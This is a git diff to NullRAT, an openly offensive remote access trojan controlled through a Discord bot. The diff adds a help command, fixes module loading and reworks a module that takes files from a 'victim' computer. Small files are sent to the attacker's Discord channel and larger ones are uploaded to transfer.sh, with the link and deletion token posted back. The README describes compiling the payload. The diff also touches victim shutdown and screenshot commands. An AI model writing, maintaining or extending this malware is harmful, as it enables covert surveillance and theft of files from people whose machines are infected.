diff --git a/NullRAT/RAT.py b/NullRAT/RAT.py index 4d16c2f..b08b061 100644 --- a/NullRAT/RAT.py +++ b/NullRAT/RAT.py @@ -144,7 +144,7 @@ async def shutdown(ctx, victim): ---------- victim: Identifier of the affected computer (found via /listvictims) """ - if valid(victim): + if ctx.bot.valid(victim): await ctx.response.send_message( embed=client.genEmbed( "Shutting down NullRAT for **" + rererere + "**...", @@ -160,6 +160,23 @@ async def shutdown_all(ctx): await ctx.response.send_message("Are you sure?", view=closeall_confirm()) +@client.slash_command(name="help") +async def help_command(ctx): + """Displays all available commands and their descriptions""" + + embed = client.genEmbed("Available commands", datetime.now()) + for cmd in sorted(ctx.bot.slash_commands.values(), key=lambda c: c.name): + if cmd.name == "help": + continue + embed.add_field( + name=f"/{cmd.name}", + value=cmd.description or "No description provided.", + inline=False, + ) + + await ctx.response.send_message(embed=embed) + + # > shutdown class @@ -217,11 +234,7 @@ async def second_button_callback(self, button, interaction): ) for ex in extensions: - ## For debugging - # client.load_extension("modules."+ex) - - ## For production - client.load_extension(ex) + client.load_extension(f"modules.{ex}") # > diff --git a/NullRAT/modules/__init__.py b/NullRAT/modules/__init__.py new file mode 100644 index 0000000..dc32f11 --- /dev/null +++ b/NullRAT/modules/__init__.py @@ -0,0 +1 @@ +"""Module package for NullRAT extensions.""" diff --git a/NullRAT/modules/receiveFile.py b/NullRAT/modules/receiveFile.py index edf002e..e4ade27 100644 --- a/NullRAT/modules/receiveFile.py +++ b/NullRAT/modules/receiveFile.py @@ -25,8 +25,8 @@ async def file_download(self, ctx, victim, file_path): if '"' in file_path: file_path = file_path.replace('"', "") try: - f = open(file_path, "rb") - except: # noqa: E722 + file_size = os.path.getsize(file_path) + except OSError: return await ctx.followup.send( embed=self.bot.genEmbed( "File was not found!", @@ -35,28 +35,57 @@ async def file_download(self, ctx, victim, file_path): ) ) - if os.path.getsize(file_path) < 8388608: - return await ctx.followup.send( - embed=self.bot.genEmbed( - "Received file from victim", datetime.now() - ), - file=discord.File(file_path), - ) + if file_size < 8388608: + try: + with open(file_path, "rb") as f: + return await ctx.followup.send( + embed=self.bot.genEmbed( + "Received file from victim", datetime.now() + ), + file=discord.File( + f, os.path.basename(file_path) + ), + ) + except OSError: + return await ctx.followup.send( + embed=self.bot.genEmbed( + "File was not found!", + datetime.now(), + "Please specify a different path and try again", + ) + ) - file = {"{}".format(file_path): f} - response = requests.post("https://transfer.sh/", files=file) - download_link = response.content.decode("utf-8") - deletion_token = response.headers.get("X-Url-Delete") + try: + with open(file_path, "rb") as f: + file = {"{}".format(file_path): f} + response = requests.post( + "https://transfer.sh/", files=file + ) + download_link = response.content.decode("utf-8") + deletion_token = response.headers.get("X-Url-Delete") - deletion_token = deletion_token.replace(download_link.rstrip() + "/", "") + deletion_token = deletion_token.replace( + download_link.rstrip() + "/", "" + ) - await ctx.followup.send( - embed=self.bot.genEmbed( - "Received file from victim", - datetime.now(), - "Link:\n" + download_link + "\nDeletion token:\n" + deletion_token, + await ctx.followup.send( + embed=self.bot.genEmbed( + "Received file from victim", + datetime.now(), + "Link:\n" + + download_link + + "\nDeletion token:\n" + + deletion_token, + ) + ) + except OSError: + await ctx.followup.send( + embed=self.bot.genEmbed( + "File was not found!", + datetime.now(), + "Please specify a different path and try again", + ) ) - ) def setup(bot: commands.Bot): diff --git a/NullRAT/modules/screenshot.py b/NullRAT/modules/screenshot.py index 9ac94ed..ca6ece0 100644 --- a/NullRAT/modules/screenshot.py +++ b/NullRAT/modules/screenshot.py @@ -12,7 +12,7 @@ def __init__(self, bot: commands.Bot): @commands.slash_command() async def get_screenshot(self, ctx, victim): - """Sends screenshot of entire monitor + """Sends screenshot of the primary monitor Parameters ---------- diff --git a/README.md b/README.md index c499e6b..b59e890 100644 --- a/README.md +++ b/README.md @@ -87,13 +87,13 @@ #### Preparation: -- Create a Discord Bot and [get it's token](https://github.com/NullCode1337/NullRAT/blob/source/Getting%20Variables.md#discord-bot-token) +- Create a Discord Bot and [get its token](https://github.com/NullCode1337/NullRAT/blob/source/Getting%20Variables.md#discord-bot-token) - [Create a bot invite link](https://github.com/NullCode1337/NullRAT/blob/source/Getting%20Variables.md#proper-bot-invite-link) and add it to your server - Store the [Notification ID](https://github.com/NullCode1337/NullRAT/blob/source/Getting%20Variables.md#channel-id) and [Server ID](https://github.com/NullCode1337/NullRAT/blob/source/Getting%20Variables.md#server-ids) along with the token for ease of access #### Steps: -1. Dowload the latest release of NullRAT (recommended) [**git clone**/**download zip** are no longer supported] +1. Download the latest release of NullRAT (recommended) [**git clone**/**download zip** are no longer supported] 2. Run the Compiler and follow the prompts. NullRAT payload will be right there! - **Video tutorial:** Soon